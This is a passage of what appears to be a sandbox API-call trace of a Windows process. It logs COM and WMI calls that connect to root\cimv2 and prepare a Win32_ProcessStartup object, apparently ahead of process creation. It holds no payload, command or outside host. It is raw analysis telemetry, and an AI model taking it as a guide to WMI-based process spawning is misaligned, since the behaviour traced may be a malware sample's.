pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0142.291] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0142.292] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0142.292] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0142.292] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0142.293] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0142.293] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.295] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bce6d40) returned 0x0 [0142.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6d40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0142.296] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6d40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bcd9a60) returned 0x0 [0142.296] WbemDefPath:IUnknown:Release (This=0x1bce6d40) returned 0x0 [0142.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bcd9a60) returned 0x0 [0142.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0142.296] WbemDefPath:IUnknown:AddRef (This=0x1bcd9a60) returned 0x3 [0142.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0142.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0142.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bce6d60) returned 0x0 [0142.297] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.297] WbemDefPath:IUnknown:Release (This=0x1bce6d60) returned 0x3 [0142.297] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0142.297] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0142.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0142.297] WbemDefPath:IUnknown:Release (This=0x1bcd9a60) returned 0x2 [0142.297] WbemDefPath:IUnknown:Release (This=0x1bcd9a60) returned 0x1 [0142.297] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.297] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0142.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9a60, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bcd9a60) returned 0x0 [0142.298] WbemDefPath:IUnknown:AddRef (This=0x1bcd9a60) returned 0x3 [0142.298] WbemDefPath:IUnknown:Release (This=0x1bcd9a60) returned 0x2 [0142.298] WbemDefPath:IWbemPath:SetText (This=0x1bcd9a60, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0142.298] IWbemClassObject:Get (in: This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274b000*=0, plFlavor=0x274b004*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274b000*=19, plFlavor=0x274b004*=0) returned 0x0 [0142.298] IWbemClassObject:Get (in: This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274b000*=19, plFlavor=0x274b004*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x274b000*=19, plFlavor=0x274b004*=0) returned 0x0 [0142.299] IWbemClassObject:Put (This=0x1aa29650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0142.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0142.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.299] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.299] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.299] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0142.299] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0142.299] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0142.299] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.302] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bce6f00) returned 0x0 [0142.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6f00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0142.302] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6f00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bcd9b20) returned 0x0 [0142.303] WbemDefPath:IUnknown:Release (This=0x1bce6f00) returned 0x0 [0142.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bcd9b20) returned 0x0 [0142.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0142.303] WbemDefPath:IUnknown:AddRef (This=0x1bcd9b20) returned 0x3 [0142.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0142.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0142.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bce6f40) returned 0x0 [0142.304] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6f40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.304] WbemDefPath:IUnknown:Release (This=0x1bce6f40) returned 0x3 [0142.304] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0142.304] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0142.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0142.304] WbemDefPath:IUnknown:Release (This=0x1bcd9b20) returned 0x2 [0142.304] WbemDefPath:IUnknown:Release (This=0x1bcd9b20) returned 0x1 [0142.304] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0142.304] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0142.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9b20, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bcd9b20) returned 0x0 [0142.304] WbemDefPath:IUnknown:AddRef (This=0x1bcd9b20) returned 0x3 [0142.304] WbemDefPath:IUnknown:Release (This=0x1bcd9b20) returned 0x2 [0142.305] WbemDefPath:IWbemPath:SetText (This=0x1bcd9b20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0142.305] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0142.305] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0142.305] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.305] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0142.305] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0142.305] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0142.305] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.306] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bce7040) returned 0x0 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7040, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0142.307] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bce7040, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bce7060) returned 0x0 [0142.307] WbemLocator:IUnknown:Release (This=0x1bce7040) returned 0x0 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bce7060) returned 0x0 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0142.307] WbemLocator:IUnknown:AddRef (This=0x1bce7060) returned 0x3 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0142.307] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0142.307] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0142.308] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0142.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0142.308] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x2 [0142.308] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x1 [0142.308] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0142.308] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0142.308] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce7060, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bce7060) returned 0x0 [0142.308] WbemLocator:IUnknown:AddRef (This=0x1bce7060) returned 0x3 [0142.308] WbemLocator:IUnknown:Release (This=0x1bce7060) returned 0x2 [0142.308] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0142.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0142.308] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.308] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bce7080) returned 0x0 [0142.309] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bce7080, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bce9370) returned 0x0 [0142.408] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce9370, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc429e0) returned 0x0 [0142.409] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc429e0, pProxy=0x1bce9370, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0142.409] WbemLocator:IUnknown:Release (This=0x1bc429e0) returned 0x1 [0142.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce9370, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc42a20) returned 0x0 [0142.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce9370, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc429e0) returned 0x0 [0142.409] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc429e0, pProxy=0x1bce9370, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.409] WbemLocator:IUnknown:Release (This=0x1bc429e0) returned 0x2 [0142.409] WbemLocator:IUnknown:Release (This=0x1bc42a20) returned 0x1 [0142.409] CoTaskMemFree (pv=0x1bcc2590) [0142.409] WbemLocator:IUnknown:AddRef (This=0x1bce9370) returned 0x2 [0142.409] WbemLocator:IUnknown:Release (This=0x1bce7080) returned 0x0 [0142.410] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0142.410] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0142.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce9370, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc429f0) returned 0x0 [0142.410] WbemLocator:IRpcOptions:Query (in: This=0x1bc429f0, pPrx=0x1bce70e0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0142.410] WbemLocator:IUnknown:Release (This=0x1bc429f0) returned 0x2 [0142.410] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0142.410] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0142.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1bce9370, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bce9370) returned 0x0 [0142.410] WbemLocator:IUnknown:Release (This=0x1bce9370) returned 0x2 [0142.410] SysStringLen (param_1=0x0) returned 0x0 [0142.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0142.411] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, 